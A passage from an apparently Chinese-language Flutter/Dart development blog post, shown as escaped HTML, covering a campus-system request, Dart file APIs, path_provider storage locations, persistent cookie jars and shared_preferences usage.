class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s1\"\u003e\u0026#39;https://ehall.xidian.edu.cn/jwapp/sys/wdkb/modules/jshkcb/cxjcs.do\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003edata:\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s1\"\u003e\u0026#39;XN\u0026#39;\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"n\"\u003esemesterCode\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003esplit\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;-\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)[\u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s1\"\u003e-\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"n\"\u003esemesterCode\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003esplit\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;-\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)[\u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s1\"\u003e\u0026#39;XQ\u0026#39;\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003esemesterCode\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003esplit\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;-\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)[\u003c/span\u003e\u003cspan class=\"m\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"n\"\u003ethen\u003c/span\u003e\u003cspan class=\"p\"\u003e((\u003c/span\u003e\u003cspan class=\"n\"\u003evalue\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003evalue\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003edata\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;datas\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e][\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;cxjcs\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e][\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;rows\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e][\u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e][\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;XQKSRQ\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e]);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"存储\"\u003e存储\u003c/h3\u003e\n\u003ch4 id=\"dart-操作文件的函数\"\u003eDart 操作文件的函数\u003c/h4\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 这样定义一个文件\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"n\"\u003efile\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eFile\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;file.txt\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 按照字符读取文件的方法,异步和同步\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"n\"\u003eFuture\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003eString\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003ereadAsString\u003c/span\u003e\u003cspan class=\"p\"\u003e({\u003c/span\u003e\u003cspan class=\"n\"\u003eEncoding\u003c/span\u003e \u003cspan class=\"nl\"\u003eencoding:\u003c/span\u003e \u003cspan class=\"n\"\u003eutf8\u003c/span\u003e\u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003ereadAsStringSync\u003c/span\u003e\u003cspan class=\"p\"\u003e({\u003c/span\u003e\u003cspan class=\"n\"\u003eEncoding\u003c/span\u003e \u003cspan class=\"nl\"\u003eencoding:\u003c/span\u003e \u003cspan class=\"n\"\u003eutf8\u003c/span\u003e\u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 按照一行一行字符读取文件的方式,异步和同步\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"n\"\u003eFuture\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003eString\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003ereadAsLines\u003c/span\u003e\u003cspan class=\"p\"\u003e({\u003c/span\u003e\u003cspan class=\"n\"\u003eEncoding\u003c/span\u003e \u003cspan class=\"nl\"\u003eencoding:\u003c/span\u003e \u003cspan class=\"n\"\u003eutf8\u003c/span\u003e\u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003eString\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003ereadAsLinesSync\u003c/span\u003e\u003cspan class=\"p\"\u003e({\u003c/span\u003e\u003cspan class=\"n\"\u003eEncoding\u003c/span\u003e \u003cspan class=\"nl\"\u003eencoding:\u003c/span\u003e \u003cspan class=\"n\"\u003eutf8\u003c/span\u003e\u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 二进制读取方法\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// Dart 中表示二进制有一个专门的类型,叫做 Uint8List\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"n\"\u003eFuture\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eUint8List\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003ereadAsBytes\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eUint8List\u003c/span\u003e \u003cspan class=\"n\"\u003ereadAsBytesSync\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 二进制写入方法\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"n\"\u003eFuture\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eFile\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003ewriteAsBytes\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003ebytes\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"n\"\u003eFileMode\u003c/span\u003e \u003cspan class=\"nl\"\u003emode:\u003c/span\u003e \u003cspan class=\"n\"\u003eFileMode\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ewrite\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003ebool\u003c/span\u003e \u003cspan class=\"nl\"\u003eflush:\u003c/span\u003e \u003cspan class=\"kc\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"n\"\u003ewriteAsBytesSync\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003ebytes\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"n\"\u003eFileMode\u003c/span\u003e \u003cspan class=\"nl\"\u003emode:\u003c/span\u003e \u003cspan class=\"n\"\u003eFileMode\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ewrite\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003ebool\u003c/span\u003e \u003cspan class=\"nl\"\u003eflush:\u003c/span\u003e \u003cspan class=\"kc\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 字符串写入方法\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"n\"\u003eFuture\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eFile\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003ewriteAsString\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003econtents\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"n\"\u003eFileMode\u003c/span\u003e \u003cspan class=\"nl\"\u003emode:\u003c/span\u003e \u003cspan class=\"n\"\u003eFileMode\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ewrite\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eEncoding\u003c/span\u003e \u003cspan class=\"nl\"\u003eencoding:\u003c/span\u003e \u003cspan class=\"n\"\u003eutf8\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003ebool\u003c/span\u003e \u003cspan class=\"nl\"\u003eflush:\u003c/span\u003e \u003cspan class=\"kc\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"n\"\u003ewriteAsStringSync\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003econtents\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"n\"\u003eFileMode\u003c/span\u003e \u003cspan class=\"nl\"\u003emode:\u003c/span\u003e \u003cspan class=\"n\"\u003eFileMode\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ewrite\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eEncoding\u003c/span\u003e \u003cspan class=\"nl\"\u003eencoding:\u003c/span\u003e \u003cspan class=\"n\"\u003eutf8\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003ebool\u003c/span\u003e \u003cspan class=\"nl\"\u003eflush:\u003c/span\u003e \u003cspan class=\"kc\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch4 id=\"path_provider\"\u003epath_provider\u003c/h4\u003e\n\u003cp\u003e作为一个跨平台的开发框架,Flutter 要能适应很多方面,其中最主要的就是存储位置。我们要存储一个文件的时候,需要在不同设备上,找到对应的位置。而在很多设备上,相同类型文件的存储地方是不一致的。\u003ccode\u003epath_provider\u003c/code\u003e能够让我们找到相应的位置。具体使用方式请参阅它的文档。\u003c/p\u003e\n\u003cp\u003e以下这个表格能体现出存储地方不同的问题:\u003c/p\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth\u003eDirectory\u003c/th\u003e\n\u003cth\u003eAndroid\u003c/th\u003e\n\u003cth\u003eiOS\u003c/th\u003e\n\u003cth\u003eLinux\u003c/th\u003e\n\u003cth\u003emacOS\u003c/th\u003e\n\u003cth\u003eWindows\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd\u003eTemporary\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eApplication Support\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eApplication Library\u003c/td\u003e\n\u003ctd\u003e❌️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e❌️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e❌️\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eApplication Documents\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eExternal Storage\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e❌\u003c/td\u003e\n\u003ctd\u003e❌\u003c/td\u003e\n\u003ctd\u003e❌️\u003c/td\u003e\n\u003ctd\u003e❌️\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eExternal Cache Directories\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e❌\u003c/td\u003e\n\u003ctd\u003e❌\u003c/td\u003e\n\u003ctd\u003e❌️\u003c/td\u003e\n\u003ctd\u003e❌️\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eExternal Storage Directories\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e❌\u003c/td\u003e\n\u003ctd\u003e❌\u003c/td\u003e\n\u003ctd\u003e❌️\u003c/td\u003e\n\u003ctd\u003e❌️\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eDownloads\u003c/td\u003e\n\u003ctd\u003e❌\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003cp\u003e以下是我程序的一份示例:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// Loading cookiejar.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 先获取到 ApplicationSupport 的位置在哪\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"n\"\u003eDirectory\u003c/span\u003e \u003cspan class=\"n\"\u003esupportPath\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"kd\"\u003eawait\u003c/span\u003e \u003cspan class=\"n\"\u003egetApplicationSupportDirectory\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 注意 supportPath.path,这里我读取了路径结果\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"n\"\u003eSportCookieJar\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003ePersistCookieJar\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003eignoreExpires:\u003c/span\u003e \u003cspan class=\"kc\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nl\"\u003estorage:\u003c/span\u003e \u003cspan class=\"n\"\u003eFileStorage\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"n\"\u003esupportPath\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003epath\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s2\"\u003e/sport\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eIDSCookieJar\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003ePersistCookieJar\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003eignoreExpires:\u003c/span\u003e \u003cspan class=\"kc\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nl\"\u003estorage:\u003c/span\u003e \u003cspan class=\"n\"\u003eFileStorage\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"n\"\u003esupportPath\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003epath\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s2\"\u003e/ids\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch4 id=\"shared_preferences\"\u003eshared_preferences\u003c/h4\u003e\n\u003cp\u003e我们程序更多的是要在本地存储一些简单的设置信息,具体来说,是很简单的 key-value 东西了。比如说,你的学号和密码是什么,你的宿舍号之类。我们使用 shared_preferences 来解决这个问题。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 初始化一个示例\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kd\"\u003efinal\u003c/span\u003e \u003cspan class=\"n\"\u003eSharedPreferences\u003c/span\u003e \u003cspan class=\"n\"\u003eprefs\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"kd\"\u003eawait\u003c/span\u003e \u003cspan class=\"n\"\u003eSharedPreferences\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003egetInstance\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 设置一份 key-value\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// String 可以改成 Int, Bool, Double 等\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kd\"\u003eawait\u003c/span\u003e \u003cspan class=\"n\"\u003eprefs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003esetString\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ekey\u003c/span\u003e \u003cspan class=\"o\"\u003eas\u003c/span\u003e \u003cspan class=\"kt\"\u003eString\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003evalue\u003c/span\u003e \u003cspan class=\"o\"\u003eas\u003c/span\u003e \u003cspan class=\"kt\"\u003eString\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 读取一份 key 对应的数据\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// String 可以改成 Int, Bool, Double 等\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003eString\u003c/span\u003e\u003cspan class=\"o\"\u003e?\u003c/span\u003e \u003cspan class=\"n\"\u003ev\u003c/span\u003e \u003cspan 